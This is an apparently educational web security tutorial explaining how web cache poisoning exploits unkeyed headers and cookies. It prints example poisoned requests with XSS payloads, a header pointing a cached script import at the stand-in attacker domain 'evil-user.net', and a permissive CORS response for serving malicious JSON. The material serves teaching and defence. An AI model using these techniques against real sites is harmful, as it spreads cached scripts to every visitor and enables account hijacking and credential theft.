Exploiting cache design flaws

In this section, we'll look more closely at how web cache poisoning vulnerabilities can arise due to general flaws in the design of caches. We'll also demonstrate how these can be exploited.

In short, websites are vulnerable to web cache poisoning if they handle unkeyed input in an unsafe way and allow the subsequent HTTP responses to be cached. This vulnerability can be used as a delivery method for a variety of different attacks.

Using web cache poisoning to deliver an XSS attack

Perhaps the simplest web cache poisoning vulnerability to exploit is when unkeyed input is reflected in a cacheable response without proper sanitization.

For example, consider the following request and response:

GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: innocent-website.co.uk HTTP/1.1 200 OK Cache-Control: public <meta property="og:image" content="https://innocent-website.co.uk/cms/social.png" />

Here, the value of the X-Forwarded-Host header is being used to dynamically generate an Open Graph image URL, which is then reflected in the response. Crucially for web cache poisoning, the X-Forwarded-Host header is often unkeyed. In this example, the cache can potentially be poisoned with a response containing a simple XSS payload:

GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a."><script>alert(1)</script>" HTTP/1.1 200 OK Cache-Control: public <meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" />

If this response was cached, all users who accessed /en?region=uk would be served this XSS payload. This example simply causes an alert to appear in the victim's browser, but a real attack could potentially steal passwords and hijack user accounts.

Using web cache poisoning to exploit unsafe handling of resource imports

Some websites use unkeyed headers to dynamically generate URLs for importing resources, such as externally hosted JavaScript files. In this case, if an attacker changes the value of the appropriate header to a domain that they control, they could potentially manipulate the URL to point to their own malicious JavaScript file instead.

If the response containing this malicious URL is cached, the attacker's JavaScript file would be imported and executed in the browser session of any user whose request has a matching cache key.

GET / HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: evil-user.net User-Agent: Mozilla/5.0 Firefox/57.0 HTTP/1.1 200 OK <script src="https://evil-user.net/static/analytics.js"></script>

Cookies are often used to dynamically generate content in a response. A common example might be a cookie that indicates the user's preferred language, which is then used to load the corresponding version of the page:

GET /blog/post.php?mobile=1 HTTP/1.1 Host: innocent-website.com User-Agent: Mozilla/5.0 Firefox/57.0 Cookie: language=pl; Connection: close

In this example, the Polish version of a blog post is being requested. Notice that the information about which language version to serve is only contained in the Cookie header. Let's suppose that the cache key contains the request line and the Host header, but not the Cookie header. In this case, if the response to this request is cached, then all subsequent users who tried to access this blog post would receive the Polish version as well, regardless of which language they actually selected.

This flawed handling of cookies by the cache can also be exploited using web cache poisoning techniques. In practice, however, this vector is relatively rare in comparison to header-based cache poisoning. When cookie-based cache poisoning vulnerabilities exist, they tend to be identified and resolved quickly because legitimate users have accidentally poisoned the cache.

Using multiple headers to exploit web cache poisoning vulnerabilities

Some websites are vulnerable to simple web cache poisoning exploits, as demonstrated above. However, others require more sophisticated attacks and only become vulnerable when an attacker is able to craft a request that manipulates multiple unkeyed inputs.

For example, let's say a website requires secure communication using HTTPS. To enforce this, if a request that uses another protocol is received, the website dynamically generates a redirect to itself that does use HTTPS:

GET /random HTTP/1.1 Host: innocent-site.com X-Forwarded-Proto: http HTTP/1.1 301 moved permanently Location: https://innocent-site.com/random

By itself, this behavior isn't necessarily vulnerable. However, by combining this with what we learned earlier about vulnerabilities in dynamically generated URLs, an attacker could potentially exploit this behavior to generate a cacheable response that redirects users to a malicious URL.

Exploiting responses that expose too much information

Sometimes websites make themselves more vulnerable to web cache poisoning by giving away too much information about themselves and their behavior.

Cache-control directives

One of the challenges when constructing a web cache poisoning attack is ensuring that the harmful response gets cached. This can involve a lot of manual trial and error to study how the cache behaves. However, sometimes responses explicitly reveal some of the information an attacker needs to successfully poison the cache.

One such example is when responses contain information about how often the cache is purged or how old the currently cached response is:

HTTP/1.1 200 OK Via: 1.1 varnish-v4 Age: 174 Cache-Control: public, max-age=1800

Although this doesn't directly lead to web cache poisoning vulnerabilities, it does save a potential attacker some of the manual effort involved because they know exactly when to send their payload to ensure it gets cached.

This knowledge also enables far more subtle attacks. Rather than bombarding the back-end server with requests until one sticks, which could raise suspicions, the attacker can carefully time a single malicious request to poison the cache.

Vary header

The rudimentary way that the Vary header is often used can also provide attackers with a helping hand. The Vary header specifies a list of additional headers that should be treated as part of the cache key even if they are normally unkeyed. It is commonly used to specify that the User-Agent header is keyed, for example, so that if the mobile version of a website is cached, this won't be served to non-mobile users by mistake.

This information can also be used to construct a multi-step attack to target a specific subset of users. For example, if the attacker knows that the User-Agent header is part of the cache key, by first identifying the user agent of the intended victims, they could tailor the attack so that only users with that user agent are affected. Alternatively, they could work out which user agent was most commonly used to access the site, and tailor the attack to affect the maximum number of users that way.

Using web cache poisoning to exploit DOM-based vulnerabilities

As discussed earlier, if the website unsafely uses unkeyed headers to import files, this can potentially be exploited by an attacker to import a malicious file instead. However, this applies to more than just JavaScript files.

Many websites use JavaScript to fetch and process additional data from the back-end. If a script handles data from the server in an unsafe way, this can potentially lead to all kinds of DOM-based vulnerabilities.

For example, an attacker could poison the cache with a response that imports a JSON file containing the following payload:

{"someProperty" : "<svg onload=alert(1)>"}

If the website then passes the value of this property into a sink that supports dynamic code execution, the payload would be executed in the context of the victim's browser session.

If you use web cache poisoning to make a website load malicious JSON data from your server, you may need to grant the website access to the JSON using CORS:

HTTP/1.1 200 OK Content-Type: application/json Access-Control-Allow-Origin: * { "malicious json" : "malicious json" }

Chaining web cache poisoning vulnerabilities

As we saw earlier, sometimes an attacker is only able to elicit a malicious response by crafting a request using multiple headers. But the same is also true of different types of attack. Web cache poisoning sometimes requires the attacker to chain together several of the techniques we've discussed. By chaining together different vulnerabilities, it is often possible to expose additional layers of vulnerability that were initially unexploitable.